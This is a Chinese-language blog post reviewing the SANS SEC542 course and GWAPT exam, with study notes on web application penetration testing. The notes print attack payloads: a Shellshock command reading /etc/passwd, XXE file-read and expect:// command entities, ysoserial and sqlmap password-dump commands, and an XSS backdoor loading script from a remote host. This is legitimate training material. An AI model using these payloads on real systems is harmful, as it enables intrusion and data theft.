GWAPT认证考试总结

最终以91%的分数通过GWAPT考试

准备工作

课程简介

SEC542 课程的主旨是帮助学生可以不仅限于对Web Application进行”一键扫描”,而是可以对于一些重要的Web Application进行更加专业、彻底的渗透测试。

在整个课程的过程中,学生可以学习如何评估一个Web Application的安全状态,并可以具有说服力地阐述攻击者通过对已发现的漏洞的利用可以产生怎么样的业务影响。除了授课的内容之外,SEC542还提供了许多实验环境,可以让学生立刻将课程中学习到的知识应用于实践。

总结起来,通过这门课程,可以学习到:

  • 可反复应用在高价值的渗透测试中的方法论
  • 如何去发现并利用一个Web Application中的关键缺陷
  • 如何来阐述一个Web Application的漏洞可能造成的影响
  • Web Application安全对于系统整体安全状况的重要性
  • 如何更高效地使用Web Application攻击工具
  • 如何撰写一份Web Application渗透测试报告

在学习完SEC542课程,通过 GWAPT 考试后,学生能够:

  • 将OWASP标准的测试步骤应用在Web Application的渗透测试中,以此来确保每一次的渗透测试都可以满足一致性,可复制性,严谨程度以及质量要求
  • 分析从自动话测试工具中得到的结果,以验证发现,确定其对业务的影响并消除误报
  • 手动发现Web应用程序的关键缺陷。
  • 在渗透测试期间,使用Python创建测试和利用脚本。
  • 发现并利用SQL Injection漏洞,以此来确定受害组织的真实风险。
  • 使用ysoserial和类似工具来理解和利用不安全的反序列化漏洞。
  • 创建配置并测试其他类型的Web攻击中的有效负载。
  • 对潜在的注入攻击进行Fuzz测试。
  • 解释利用Web应用程序漏洞可能造成影响。
  • 使用诸如Zed Attack Proxy和BurpSuite Pro之类的工具分析客户端与服务器应用程序之间的流量,以发现客户端应用程序代码中的安全问题。
  • 手动发现和利用跨站点请求伪造(CSRF)攻击。
  • 使用浏览器利用框架(BeEF)来hook被攻击的浏览器,攻击客户端软件和网络,并评估XSS漏洞对应用程序的潜在影响。
  • 执行两次完整的网络渗透测试,一次在课程教学的五天内进行,另一次在“CTF”练习中进行。

SANS SEC542这门课程对应的证书是 GIAC Web Application Penetration Tester (GWAPT)。 这个证书在全球范围内还是很有分量的,在国内相对来说不是那么的广为人知。从课程的角度来说,SANS的课程是非常优秀的。但是GWAPT考试的形式是2个小时的选择题。这种考试形式相比于OSCP这种更注重于实操的证书而言,相对就不是那么的具有含金量了。当然还有另外一个很重要的原因:SEC542真的很贵!!!

至于说我是不是推荐这门课程呢… 考虑到价格因素的话,我不推荐个人来报名这门课程。如果公司可以报销这笔培训费用,从职业发展角度,又比较期望在外企发展的话,那这个证书还是非常值得花时间去考一下的。毕竟在外企,这个证书的认可度还是非常高的。

课程报名注册

SEC542这门课,可以通过SANS官网直接报名。大多数SANS的课程应该是以线下的形式进行授课,但是由于在中国SANS暂时没有提供线下授课的场所,而今年由于疫情的影响,即便在国外,很多线下课程也很难展开。所以对于SEC542这门课,SANS同时也提供了Live Online的版本,适应于不同的时间与地区。可惜的是,这些时间对于中国而言,大多数都不是非常友好。而且,实际工作的过程中,也很难真正抽出一个礼拜,每天八个小时地来参加培训。所以最后我还是选择了OnDemand的模式。OnDemand模式采用的是录像的方式,没有讲师实时进行授课。但好处是,参加课程的同学可以比较自由的安排培训的时间,只要在4个月的时间段内,根据自己的需求,安排学习计划即可。当然,由于没有讲师实时授课,所以会缺少与讲师的互动。如果在课程过程中遇到问题,只能通过邮件的方式进行咨询。(当然,这种对于中国学生来说或许不算太大的问题)

注册其实很简单,就付钱就好了。SANS各种付款方式都支持的。但是使用信用卡网络付款的话,SANS对账单地址的检查非常严格。如果有错的话,支付非常容易不通过。我就遇到了类似的问题,最后打美国的客服电话,在线支付才完成的。

一个bundle中包括了SEC542的培训,2次考试模拟以及最终认账测试,还有书面教材邮寄的费用。当然,费用属实非常贵……

price of SEC542

课程先期准备

完成注册后,进入课程目录,总共有3份可下载的文档:

  • My Labs
    这是一份实验环境连接的说明文档。因为在课程过程中的第六个部分,我们需要完成一个”CTF”练习。 在练习前,我们需要对网络进行适当的配置,这样才能顺利地通过VPN连接到实验环境。
  • Quick Start Guide
    课程地快速上手指南。这算是一份归纳文档,针对刚完成报名的同学,简单整理了一下比较常见的问题:有哪些课程相关的材料,如何开始课程,如何与SANS的客服联系等等…
  • VMware Software License Handout
    SANS随课程还提供了VMware一年期的license。好东西!跟着这份文档操作就可以获取并且激活。

除此之外,还有一系列多媒体文件可以下载:

  • 虚拟机的镜像文件
  • 课程的MP3录音
  • SANS一些与渗透测试相关的印刷品。包含了一些工具的Cheatsheet。还算制作精美
  • 课程完整讲义的电子版

课程的讲义会通过邮寄的方式发送给我们。不知道是不是因为疫情的原因,邮寄的周期比较长,可能会要1-2周。
讲义对于考试来说还是非常有用的。因为是开卷考试,有不少题目涉及到的知识点也可以在讲义中找到。所以在考试前一定要熟悉各个考点在讲义中出现的位置。

SEC542课程学习

网课界面

SANS的ONDEMAND课程的界面功能还是比较强大的。毕竟收了这么多钱,倒也不是白花的

课程的整体语速还是非常友好的。对于英语环境比较习惯的 可以尝试在某些部分使用1.2倍速播放。

时间安排

由于有一定的时间限制,所以这次从报名到考试的完整周期在一个月之内。网课我基本在三周内全部完成,包括网课中相关的实验课程。最后留一周的时间完成模拟题,熟悉讲义,回顾所有的知识点。

至于说从准备开始到考试究竟留多长时间合适,这完全取决于每个人的情况。首先是在渗透测试方面的基础,如果本来就或多或少了解渗透测试,甚至有参与过渗透测试的话,那这门课程学习的难度就相对较小,整个课程听下来应该会非常顺利,不需要耗费太多的时间去理解课程的知识。还有就是每天可以用于SEC542的时间是多少。所以整个备考的天数也是因人而异的, 建议先开始课程,有一个大致的预估后,再预约考试时间。

课程实验

SEC542提供了一个虚拟机镜像作为课程的实验环境。任何时候,对于渗透测试的技能来说,实验的靶机永远都是比课程讲义更有价值的学习工具。很多是后就是靠着不断的练习操作,来积累经验,不断学习。
但是反过来说,对于GWAPT考试而言,实验环境的内容可能就显得没有那么重要了。不过,我相信如果会报名这个课程的,一定不会仅仅是为了获得一个证书吧。肯定还是希望在实际的操作上获得一定的提升的。

考试准备

应对考试,首先我们需要针对考试的类型进行复习。

GWAPT考试采用单项选择题的方式,总共75道题,时间限制为2个小时。GWAPT的考试属于是开卷考试,考生可以使用课程讲义以及一张A4纸大小的”小抄”作为参考资料。一般建议把小抄作为索引,然后可以通过这种方式快速地在讲义中定位到相关知识点。题目的难度其实相对来说不算很大,大多数题目都可以在讲义中找到。只需要简单的理解就可以了。总体而言,我认为通过考试应该不算是一件很难的事情。

Section 1: Introduction and Information Gathering

Why the Web?

这一部分算是课程的前言,主要是一些背景铺垫。讲师自己的背景介绍,Web Application的历史背景,Web Application安全的发展过程,以及现状等等。

重点在于,现在大多数企业的测试更加侧重于业务的功能,而极少数会将大量的时间花费在安全测试之上。如果我们可以收到一些关于漏洞的报告,我们可以更加清楚地认识到安全测试缺失地问题是非常严重的。
虽然现在很多公司都有意识地进行渗透测试,但是其实渗透测试的质量参差不齐。许多第三方的渗透测试公司提供的渗透测试质量都非常的低下,这与测试者的能力也紧密相关。

Application Assessment Methodologies

  • Black Box, White Box, Gray Box.
    黑盒测试表示没有任何目标系统的信息,而白盒测试则是可以获得关于目标系统的全部信息。 灰盒则介于两者之间。颜色越深则代表测试者可以获得的信息越少。

  • SAST (Static Application Security Testing)
    大多数时候指代码审计

  • DAST (Dynamic Application Security Testing) & Push Button Pentesting
    没有获取源代码的权限,通过运行及与应用程序交互来寻找可能存在的漏洞。自动化工具在DAST中扮演了非常重要的角色。 但一键扫描这样的工具并没有看起来的这么有效,作为渗透测试工程师,深入理解自动化工具具体在做什么是很重要的。这样才能完成一个更有价值的渗透测试。

Web Application的渗透测试与传统的针对服务器的渗透测试有一些不同。针对服务器的渗透测试在整个过程中,一步一步都非常明确。但对于Web Application的渗透测试而言,这样的步骤可能不完全适用。Web Application的渗透测试过程中,我们一般在发现漏洞后就会立刻想办法进行利用,而不会很明确地将漏洞发现以及漏洞利用明确地分割为两个阶段。

OWASP - Top10

OTG - OWASP Testing Guide is followed in this course.

Course Logistics

这一章节简单介绍了一下实验环境的构建。如何配置、使用SANS提供的虚拟机。跟着做就可以了。

Web Application Pen Tester’s Toolkit

  • Acunetix Vulnerability Scanner

  • Burp Scanner

  • Fortify WebInspect

  • IBM AppScan

  • Qualys WAS

  • Rapid7 AppSpider

  • Veracode Dynamic Analysis

  • Whitehat Sentinel

  • ZAP Scan

  • What’s intercept proxy (Burp and ZAP)

  • Browsers
    在渗透测试中,我们希望使用”不安全“的浏览器。这样,浏览器不会自动拦截一些例如XSS的显示,造成渗透测试的错误结果。
    所以,一般会选择Firefox或者Chromium.

WHOIS and DNS

WHOIS

  • TCP port 43
  • Have Name(s) and phone number(s) and physical address and DNS servers
  • DNS information is most valuable to Web Application 渗透测试
  • 现在许多WHOIS记录由于GDPR的要求,已经将许多个人信息删减了

DNS

  • 使用UDP 53端口: 小于512bytes的负载

  • 使用TCP 53端口:大于512bytes的负载,Zone Transfer区域传送

  • Zone Transfer
    区域转移不应该被配置为可以公开, 不然攻击者可以非常容易地获取到内网的网络拓扑信息。dig xxx IXFR
    当区域转移被禁用后,可以尝试reverse DNS(PTR) 或者 DNS爆破的方法来发现一些隐藏的子网。
    PTR -> 从IP反查域名, 获取目标域名的IP地址,对同一子网的其他IP地址进行PTR反查
    DNS爆破一般使用字典爆破

Tools:

  • nslookup

  • dig

  • NMap

  • DNSRecon

  • Metasploit

  • nslookup
    通常对DNS的利用从nslookup开始,这个命令在多种平台都适用。如果刚入侵了某一台服务器,那么nslookup也有非常大的可能性能在那台机器上运行。

  • dig
    dig是一款功能强大的DNS客户端。在MacOS和大多数的UNIX/Linux系统上都自带dig。

dig @ip version.bind chaos txt

  • Nmap DNS NSE scripts
    dns-brute.nse 在搜索CNAME的时候非常有用。

  • DNSRecon

  • Metasploit
    auxiliary/gather/dns_bruteforce

Lab - DNS Harvesting
使用dig搜索域名解析所有的记录
dig [domain] -t any

尝试进行Zone Transfer (区域转移)
dig [domain] -t axfr
dnsrecon.py -a -d [domain]
nmap --script=dns-zone-transfer [domain]

使用Nmap进行DNS爆破扫描
nmap --script=dns-brute [domain]
(对于限制了Zone Transfer的DNS服务,可以尝试进DNS爆破来获取信息)

使用DNSrecon来进行DNS爆破扫描
dnsrecon.py -d [domain] -t brt -D [wordlist]
默认wordlist 为dnsrecon路径下的namelist.txt

metasploit的gather/enum_dns模块也可以完成相同的工作。

OSINT (Open Source INTelligence)

进行渗透测试时要尽可能得多获取关于目标公司的信息,这些信息都会最终帮助到渗透测试。

对于in-house (甲方) 的渗透测试,这部分可能看起来不是那么重要。 但是信息搜集技巧通常可以发现很多意想不到的收获。 (Github,Job posting,…)

  • Google Search Operation
    “” 精确匹配
    site:
    cache: 在cache中搜索
    ext: 精确找到页面后缀
    filetype: 精准找到文件后缀
    Intitle:, inurl: 在页面标题和url中搜索关键词

  • Google dorks
    Google Hacking Database(GHDB) 中可以查到相关的Google dork语句。

  • Cached Content
    通过 archive.org 甚至有可能搜索到十多年前的页面记录。
    从互联网中删除一个存在过的内容并不是一件简单的事情

  • Shoadan
    通过shodan可以搜索到各种连接网络的计算机,服务器,IOT…

  • Social Media (LinkedIn)
    通过这类社交媒体,可能可以获取到员工的邮件地址,VPN用户名等等。

  • Metadata
    多媒体文件中包含的信息

exiftool [filename]

  • Tesseract
    自动识别、提取图片、PDF 中的文字信息

  • FOCA
    运行在Windows上的免费软件,爬取域名中的各种文件,并分析其中包含的Metadata。
    文件的作者可能包含用户信息。

  • Maltego
    商业软件,将OSINT可能需要用到的步骤都包含了进去。

  • SpiderFoot
    免费软件。 某些功能需要外部API的权限(外部网站的升级账号)

  • theHarvester
    命令行工具,
    theharvester -d sans.org -b all -f sans.html

  • AutOSINT

实验:

HTTP Syntax and Messaging

  • HTTP/0.9
    仅支持GET。只返回HTML文本。至今很多现代的web服务器任然支持HTTP/0.9

  • HTTP/1.0
    支持了GET, HEAD. 也描述了POST, PUT, DELETE

  • HTTP/1.1
    现在正在使用的

  • HTTP/2
    主要是为了提升性能。
    可以允许Server向Client推送消息。压缩成为二进制协议。Header也压缩为二进制来缩小非有效的数据。

QUIC (Quick UDP Internet Connections)
本质上是基于UDP的HTTP/2

Semantics描述了请求与响应是如何交换信息的: 比如HTTP方法,状态码,HTTP头信息等。Syntax是描述Semantic是如何在网络上传输。

HTTP Semantics

  • 第一行: HTTP 方法(动作),URI,HTTP版本

  • HTTP方法
    安全方法(不会修改页面状态): GET, HEAD, OPTIONS
    不安全方法: POST, PUT,DELETE

  • GET
    没有payload,body中没有数据
    不适合用来传递需要保密的信息(e.g.密码)

可以尝试将POST更换成GET来绕过一些防护措施

  • HEAD
    仅返回头部信息,没有body的内容。可以提高效率,针对一些相应的头部内容进行测试。

  • TRACE
    被设计用来查错,不应该在生产环境中启用。

  • OPTIONS
    服务器返回可接受的所有HTTP方法。但是没什么大用,直接测试服务器一般也会返回405或者501.

  • User-Agent
    对于大多数正常的用户,这里的值应该是浏览器的版本信息 (但有时候也会泄露一些版本信息)
    有时候也会显示攻击者使用的工具名称

  • Referer
    有时候web Application会检查这个值确保用户遵照了正确的流程。但是这个值是可以更改的…

HTTP响应

  • Server
    对应USer-Agent ,泄露版本信息

HTTPS and Testing for Weak Ciphers

测试SSL/TLS弱加密算法

  • Nmap NSE ssl-enum-ciphers
    对算法强度进行A-F的评分

Qualys SSL Labs
https://www.ssllabs.com/ssltest
可以通过这个网址来测试目标地址的SSL证书强健度

一般对于在公开的域名,我们可以使用Qualys的工具进行测试。但有时候,我们需要进行内网渗透测试,这种情况下,就需要使用nmap工具来完成HTTPS 加密算法强度的测试。

NMap中 ssl-enum-ciphers脚本的原理是逐个使用所有的加密算法,与目标域名进行连接。通过这种方法来确定服务器接收的所有加密方式。

Nmap脚本的分数没有将协议的支持(是否允许SSL, TLS 1.0等) 纳入分数计算。其他评分标准与SSL Lab一致。

Heartbleed Lab
nmap -sV --script ssl-heartbleed [domain]
可以使用Nmap对网站的端口进行扫描,检查是否存在Heartbleed漏洞

Interception Proxies

  • ZAP
    ZAP的fuzzer非常强大
    (免费工具,适合介绍给Application team使用)

  • Brup Suite
    渗透测试工程师最喜欢的工具之一

Scope设置:非常重要,限制扫描的范围,以免越过界限,进入到不在渗透测试范围的网络应用。

  • Intercept
    最重要的功能之一

  • Intruder
    Fuzz功能

  • Repeater
    将请求细微更改后反复发送到服务器,观察响应的区别

  • Sequencer
    可以用来观察Web Application的session是否足够随机,难以预测。

  • Decoder
    非常实用的工具来编码,反编码,计算哈希值。

  • Comparer
    比较两个不同的请求,并且发现不同。

  • Extender
    可以安装BApp插件或者是自定义插件来完成预设功能不能完成的工作

Configuration, Identity, and Authentication Testing

Target Profiling

了解服务器已经中间件的软件、版本信息有助于更好的对网络应用进行测试,以及利用漏洞。

  • Port scanning

端口扫描可以发现没有运行在80,443端口上的网络应用。收集端口背后运行的软件信息,查看是否存在漏洞
nmap -sV
version scan

  • Zenmap
    nmap的图形界面版本

  • Shodan
    不仅仅是一个OSINT工具,可以在shodan上查看到版本信息

  • Netcraft Sitereport
    可以看到Web服务器的历史配置数据
    经常发生:开发人员转移了网站但不删除旧的网络应用

  • Application Infrastructure
    记录所有之前步骤发现的Web应用相关组件。通过相关的详细信息查找对应的组件是否存在相应的漏洞
    ( 中间件,应用框架,CMS,数据库,其他的网络服务SSH,FTP,RDP)

  • 测试HTTP方法 (OTG-Config-006)
    robots.txt 包含了网络管理员不希望网络爬虫爬取的路径,但这些路径往往是渗透测试时我们所感兴趣的路径

Lab:

  • 使用Netcat来对 http://www.sec542.org 发出 HTTP 1.0 的 HEAD请求

    1
    echo -e "HEAD / http/1.0\r\n\r\n" | nc www.sec542.org 80

    往往使用HTTP/1.0是因为这是最简单的请求,不需要加上Host;同时还可以看服务器是否正确返回HTTP/1.1

  • 换使用Netcat来对 https://www.sec542.org 发出 HTTP 1.0 的 HEAD请求

    1
    echo -e "HEAD / http/1.0\r\n\r\n" | nc www.sec542.org 443

    因为没有使用证书,所以服务器会返回400 错误。但是这里我们更关注的HTTP头中的信息。

  • 使用Nmap对 www.sec542.org进行一次版本扫描

    1
    nmap -sV www.sec542.org
  • 使用Nmap的NSE脚本,分析http://www.sec542.org 的robots.txt文件

    1
    nmap --script=http-robots.txt www.sec542.org

可以在/usr/local/share/nmap/scripts下查看所有的NSE脚本

Shellshock

  • 软件配置缺陷
    Nikto可以用来是扫描这一类漏洞
    不是最让人感觉兴奋的漏洞,但往往会包含在渗透测试的范围之内,而且也同样非常重要。

Injection:

  • () { 42;};echo;/bin/cat /etc/passwd
  • () { 42;};echo;/usr/bin/id

把CGI环境变量HTTP_USER_AGENT的值设置为上面的payload.

Insufficient Logging and Monitoring

这一项被加入到了最新的OWASP Top10中。
这一部分在实际生产中是非常不足的,数据泄露发现的平均时间是191天。攻击者往往在成功前已经有多次尝试,所以monitoring是非常重要的。

但SOC实际运行起来困难很大,人才大多比较年轻,很难正确做出判断。公司也往往不愿意在SOC或者Blue Team上投入非常多,相较而言,公司更愿意在顶级的Red Team和渗透测试上花费。

需要在多方面记录日志:

  • Web Servers
  • Database servers
  • Authentication Systems
  • WAF and LB
  • Web Application 本身

一定需要发现的事件:

  • 失败和成功的身份验证 (如果有人运行了一个身份登录爆破,但系统却发现不了,没有报警:不可接受)
  • 敏感数据的操作、读取
  • 服务器端验证失败的错误信息

使用SIEM来集中化管理日志。

  • 高风险的安全事件需要可以触发警报
  • 低风险的事件需要可以通过报告以及展示板来显示
    -可以防止日志被删除或者篡改
  • 确保所有日志的时间同步,并使用UTC作为时区格式

测试事件响应的流程

  • 经常性进行演习
  • 通过渗透测试检查Blue Team是否可以顺利发现攻击

Spidering Web Application

目标是发现在Web Application中存在的所有链接.
robots.txt 是公开的,不应该使用robots.txt来隐藏敏感的路径和内容。相反,攻击者往往会使用robots.txt中的路径最为攻击点

人工爬取 自动化爬取
慢,人来操作 快速,多线程
可以在比较敏感或者关键的功能上使用 有可能会造成一定程度的破坏
可以理解应用程序的功能和流程 可以定位到应用大多数需要的输入
可以发现并当即尝试利用 同时获取大量的信息,然后需要继续用自动化工具处理信息

结合两种爬取方式:
人工: 记录下Web应用中的重要功能(文件上传等),关系到数据库的查询操作,跟踪输入的数据
自动化: 知道自动化的目的,使用Burp和ZAP中的被动扫描

wget -r可以用作命令行爬虫工具。

wget -r [domain] -P /dir

cewl 工具可以通过网站爬取关于网站的关键词。可以用于构造定制化的字典

Wappalyzer 工具可以用来获取Web Application 的组件信息

分析爬虫获取到的结果: 对于爬取到的链接中的页面内容,可以重点关注一些关键的功能,代码中的注释,禁用的功能还有隐藏的链接

Lab
Burp
设置范围: .*?sec542.org$

Forced Browsing

通过字典攻击的方式,发现没有与其他内容互相连接的内容。
Burp -> Engagement tools -> Discover Content

Fuzzing

Fuzzing 指将提交给Web Application的正常输入替换成一些试图利用漏洞或者猜测用户身份的输入
常见的如<script>alert(42)</script>' or 1=1 # 之类的
而且几乎可以应用在任何地方: 请求的头部,POST参数, GET参数, PUT负载…

Seclist 包含了许多高质量的Web应用渗透测试可能用到的Fuzzing内容
SEC542 VM 中 /opt/seclists
https://github.com/danielmiessler/seclists

Information Leakage

这一类漏洞通常不可以被直接利用,但缺会对渗透测试或者是攻击者提供非常一些非常有用的信息。
通过这种途径获得的信息往往会被用在之后的攻击/利用过程中。

Directory Browsing
快速对Apache/Nginx测试: 尝试访问image所在的路径

Google Search来查找Directory Browsing
site:gov intitle:"Index of" "last modified"

Automatically discovery:
Nikto, w3af( powerful but buggy), ZAP’s force browse, Metasploit’s WMAP

Authentication

HTTP Basic Authentication
非常老的认证协议,服务器会发送一个名为Realm的参数,描述对被保护的资源进行描述。
用户认证信息被保存在服务器上。(Apache存在.htaccess 文件中)

传输时将用户名密码对进行Base64编码后传输到服务器。没有加密
缺点: 无法登出,登录后的每个请求都包含有身份认证的信息(都是base64编码的)。无法锁定账户

Digest Authentication
对Basic认证方式的改进,不再直接传输密码,但是依旧是可以破解的…

Windows Integrated Authentication
使用了NTLM加密,可以被破解

Form-based
现在最常用的认证方式,主要分为三个部分: 客户端的用户身份认证表单, 服务器端的身份认证处理代码,需要认证后才能访问到的资源
安全性取决于开发者如何开发。应用程序需要能够正确地处理Session,账号锁止机制同样取决于开发者如何开发

OpenId/OAuth/SAML
???

Username Harvesting

通过猜测地方法破解账户需要猜测用户名再猜测密码: 猜测用户名往往是第一步
尝试登陆:有时候网络应用对存在/不存在的用户名返回不同的响应,通过对比不同的响应,可以判断出用户名是否存在 (这里的不同可能很明显的显示在页面上,也有可能只是HTTP返回包中的细微差别-> Burp Comparer)

如果完全一致,可以尝试”忘记密码“页面。

Side-Channel Attacks
有时候应用程序遇到正确的用户名会计算密码的哈希值进行校验,而遇到错误的用户名则会立刻返回错误。
如果用好了Slow-Hash的方式,那么这里就存在了一个可以被发现的区别来判断用户名的正确与否

Burp Intruder

有四种模式:
Sniper: 每次在同一个field中尝试一种Payload
Battering Ram: 每次在多个field中同时尝试同一种payload
Pitchfork: 往往最少用到, 每次在多个field中同时尝试一组数据集
Cluster Bomb: 尝试数据集中的所有组合。

Injection

Session Management

通过应用或者服务器来实现。需要认真检查,防止未授权访问的产生
Session ID 可以在 Cookies, POST的隐藏表单,自定义HTTP头,URI参数中找到。
常用的种类: JSESSIONID,PHPSESSID,ASP.NET_SessionID
如果是非常用的SessionID种类,可以通过退出重新登陆后比较参数来发现

session ID 需要具备的性质: 不可预测性,防止篡改,会过期,保密性。
在Cookie中实现是最常见的方式

不可预测性: 增加熵 –> 长度,字符种类,算法复杂度
防止篡改: 网路应用需要可以有能力检查出某一个sessionID是否真实有效
确保sessionID在每次登陆后都会更改, 对于安全性要求非常高的应用而言,需要在每个页面刷新时都更新SessionID
高敏感度的功能在操作时需要检查其他与SessionID相关联的属性:如Referer, User-Agent, src IP
过期策略: 登出后需要立刻过期,服务器的响应不应该再包含有过期的SessionID,包含过期SessionID的客户端响应需要被无视或者强制重定向到登陆页面
Session应该在以下情况下过期: 用户点击了logout,超过了有效时间,检测到了session篡改的企图。

保密性: Session ID 应当加密传输,在Cookie中也应该启用Secure Flag选项

Session Attack

开发时 (开发安全) 对于Session管理的实现,应该参照OWASP的Session Management Cheat Sheet.

测试可预测性:
获取SessionID,检查是否可靠。
工具: BurpSuite Sequencer; Google; 人工观察…

Session Fixation: SessionID不应该在用户登陆前就被设定好。
观察 SessionID在用户登陆后是否发生变化; 创建一个SessionID,然后再进行登陆,观察是否变化。
否则攻击者可以选定一个SessionID,通过社会工程攻击诱骗用户点击存有预设SessionID的链接进行登陆,登陆成功后,攻击者就可以使用这个SessionID进行需要授权的操作。

Session theft
XSS 漏洞可能会让攻击者获取到SessionID. HTTPOnly flag可以防止攻击者通过JS获取到cookie中的sessionID

Session Logout
尝试登出后再使用先前的session ID

Authentication Bypass

OTG-AUTHN-004

逐个页面测试没有登陆的用户能否访问。

Authorization Bypass

OTG-AITJZ-002; OTG-AUTHZ-003; OTG-AUTHZ-004

逐个页面测试是否有admin页面可以被普通用户访问
需要拥有两个不同权限的账号

如果同一个SessionID但是不同的uid,登陆后如果指向不同的用户,则说明存在问题

IDOR - Insecure Direct Object Reference
可以通过用户输入的参数直接访问到网页的资源:PDF,图片,等…

Mutillidae

故意设计存在漏洞的网络应用

Command Injection

OTG-INPVAL-013

这类漏洞会在网页使用用户输入作为系统命令时产生。

利用:
读取文件 /etc/passwd/ C:\Windows\win.ini ; ping自己的一个服务器 –> 判断存在
创建远程shell登陆

File Inclusion and Directory Traversal

OTG-INPVAL-012

利用后可以:

  • 应用配置文件
  • 系统配置文件
  • 源代码
  • 事件日志
  • 用户配置文件
  • 用户文档

RFI 从远程的其他服务器包含文件,危害更大

Insecure Deserialization

Marshalling pickles

可能存在于任何面向对象的语言,最常见于Java

开发者经常会序列化一个对象,更容易作为参数进行传输,反序列化后,服务器端的内存中可以得到一个完全相同的对象。
但是攻击者可以在客户端篡改这个对象

使用序列化的技术:

  • Remote Method Invocation (RMI)
  • Java Management Extension (JMX)
  • Java Message Service (JMS)
  • Java Server Faces Implementation (ViewState)

首先序列化后的数据容易被篡改。

利用: Ysoserial,包含了一组Java库中存在的gadget 链,来生成利用payload

Lab

1
2
java -jar /usr/local/bin/ysoserial-master-SNAPSHOT.jar CommonsCollections5 '[bash command]' 
| base64 -w0 > payload.txt

SQL Injection Primer

原因: 网络应用需要SQL数据库来保存数据,应用同时还需要对SQL进行数据操作。

一些非常基础的SQL知识

Discovering SQLi

所有的用户可以修改的值都可以成为SQLi的目标

Inline SQLi: can see the error / output
Blind SQLi: No detailed error message / output

加上后缀观察输入的语句是否被作为SQL语句执行:
比较 Dent 与 Dent’;# Dent’;– De’/**/‘nt De’’nt De’||’nt 等输入的结果,如果一致的话,说明SQLi存在
同理还有加上 AND 1=1观察结果是否被改变

Exploiting SQLi

首先通过错误代码判断数据库类型,版本
information_schema 获得数据库的更多信息

对于显示输出的SQLi, 可以进行的利用:
Stacked Query, 通过分隔符,让数据库同时执行两句SQL语句 ; DROP TABLE
还可以UNION SELECT来获取其他表中的信息,但是需要列数相同…
所以需要进行一些次数的尝试。使用NULL

SQLMap

Read file
--file-read /etc/passwd

Dump the DB users and passwords
--users --passwords

search in Column names of “my_wiki” database
-D my_wiki --search -C pass

XXE and XSS

XXE

XML是一种标签语言,常被用来做数据交换。

XXE (XML External Entity) 如果攻击者可以上传一段XML文件到服务器端,那么他们就有可能可以利用XML处理器的漏洞,来获得数据,执行命令,DOS攻击等等…

XML is an example of SSRF. Client tricks XML server to initiate requests to internal web server.

PoC:

1
2
3
4
5
6
7
8
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "It works!!!" >]>

<entry>
<author>&xxe;</auther>
...
</entry>

Display local file: (LFI)

1
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Access URL:

1
<!ENTITY xxe SYSTEM "http://sec542.org/robots.txt" >]>

RCE via PHP:

1
<!ENTITY xxe SYSTEM "expect://id" >]>

Require PHP ‘expect’ module to be enabled

XXE is often triggered via PHP. Cna’t be shown in Burp or ZAP as it’s server to server.
So it’s always blind , attacker cannot see the source code, cannot have any direct evidence.

Document Object Model (DOM)

object-oriented representation of a web page.
Allow program to change a document’s structure, style and content.

Everything in HTML can be a part of DOM. –> node in a tree.

Inspect the element through web browser… Developer tools

JavaScript is an object-oriented language JS经常被用来操作DOM树。
内置的对象有:String, Date, Array 等。与HTML 相关: windows 和 document
Document.cookie

XSS Primer

OTG-CLIENT-003: HTML Injection
XSS 非常常见,并且相对于其他种类的漏洞,更难以防止。

原理就是在输入中包含HTML代码(JS),然后在显示的时候被页面执行…

Same-Origin Policy (SOP) - 最为基础的网络安全组件 不允许其他域来访问自己的资源 【端口;协议;域名需要完全一致
SOP通过浏览器来实现

Browser Security Handbook
https://code.google.com/archive/p/browsersec/wikis/Main.wiki

但是对于Cookie而言,SOP相对来说没有那么严格。
外部的JS代码也可以修改本地的Cookie

渗透测试中,一般往往不会去尝试绕过SOP,利用浏览器的漏洞(非WEB范围)

在渗透测试中,不要使用Alert弹窗来说明XSS漏洞,需要用一些更有效的例子来解释漏洞。

Classes of XSS

反射型;储存型;DOM型;
反射型:在URL中包含XSS的payload,但是要进行URL编码
储存型:博客评论,论坛数据,消息他功能,日志机制,账号信息…

XSS Discovery

输入一段比较特殊的字符串,观察该字符串是否会在页面返回回客户端
<>()='"/;[]{}$--#&//
<script>alert(42)</script>

<img src="x" onerror=alert(42); />
424242" onload="alert(42) 如果输入的值显示在某个HTML闭合标签的属性的值中
如果输入的字符串回显在JS代码标签中,则可以直接加入JS代码,但要注意闭合function

更多例子:
https://owasp.org/www-community/xss-filter-evasion-cheatsheet

Fuzzdb && JBroFuzz

XSS impacts

Session Abuse
steal cookie, and use location to send to remote location. (没有HTTPOnly flag)

创建可交互式后门
<svg onload=setInterval(function(){d=document; z=d.createElement("script");z.src="//sec542.org:1234"; d.body.appendChild(z)},0)>

XSS Tools

Burp: Battering Ram + Grep Payloads 查找是否有回显

  • xsssniper
    xsssniper -u "http://sec542.org" --crawl --forms

  • XSSer

  • XSScrapy

BeEF

BeEF hook 是一个JS文件,可以让浏览器变成一个僵尸节点

BeEF 控制器Ruby编写,像服务器一样运行,可以控制

可以创建各种浏览器利用场景。

AJAX

介绍略去
通过XHR(XMLHttpRequest)实现。可以在后台发送链接来交换数据,同时不需要刷新整个页面

非常难以发现所有的AJAX接口。Burp和ZAP现在提供了AJAX爬虫,但是不能要求太高。利用起来与普通的页面是一样的

JS frameworks: 可以从源代码中看出使用了哪种JS框架。
通过检查版本,来判断是否存在漏洞。 Burp Retire.js

CSRF

Logic Attacks

OTG-BUSLOGIC-001~9

Python

Web Libraries:

  • urillib, urllib2, urllib3, httplib, httplib2, Requests

WPScan

Metasploit

最常被用来网络和系统利用,经常会被Web Application的渗透工程师忽视。但是其实有很多实用的模块可以使用。

msf > search [keyword]

  • db_import
    可以导入某些软件的输出文件 (XML)

  • WMAP
    Metasploit的网络应用扫描插件

-BeEF
通过BeEF可以hook被攻击者的浏览器,但是通过这种方式非常难以实现持久化,同时在系统层面也只能获得非常有限的权限。

/opt/beef/config.yaml 中启用metasploit
msf > load msgrpc ServerHost=127.0.0.1 Pass=[password] 启动插件
/opt/beef/extensions/metasploit/config.yaml 中,配置前面设定的密码
sudo /opt/beef/beef

  • Sqlmap <-> Metasploit
    –os-pwn
    –priv-esc

Drupal

非常广泛使用的CMS
但是功能模块中经常包含不少漏洞。 CMS本身也往往是渗透测试中的高价值对象。

When Tools Fail

Business of Pentesting: Preparation

Toolkit: 准备好工具集:Kali

Permission; Scope; Rules of Engagement
攻击者的详细信息
白名单
测试账号 - 每个权限级别两个测试账号
确保存在备份

